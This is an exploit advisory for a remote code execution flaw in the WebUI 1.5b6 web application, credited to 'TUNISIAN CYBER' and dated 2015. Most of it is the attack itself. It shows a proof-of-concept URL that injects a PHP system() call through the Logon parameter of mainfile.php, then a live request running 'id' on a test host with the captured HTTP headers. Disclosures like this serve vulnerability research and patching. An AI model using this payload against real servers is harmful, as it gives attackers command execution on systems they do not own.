WebUI 1.5b6 – Remote Code Execution
#[+] Author: TUNISIAN CYBER #[+] Title: WebUI Remote Code Execution Vulnerability #[+] Date: 21-04-2015 #[+] Vendor: https://github.com/baram01/webui/ #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] Twitter: @TCYB3R #[+] Proof of concept: http://i.imgur.com/co9Qx0n.png ------------------------------------------------------------------------------- p0c: http://site/webui/mainfile.php?username=USER&password=PASSWORD&_login=1&Logon=';echo system('command');' Live HTTP Header: http://192.168.186.129/webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27 GET /webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27 HTTP/1.1 Host: 192.168.186.129 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 22 Apr 2015 13:20:23 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.39-0+deb7u2 Content-Encoding: gzip Vary: Accept-Encoding Content-Length: 51 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html |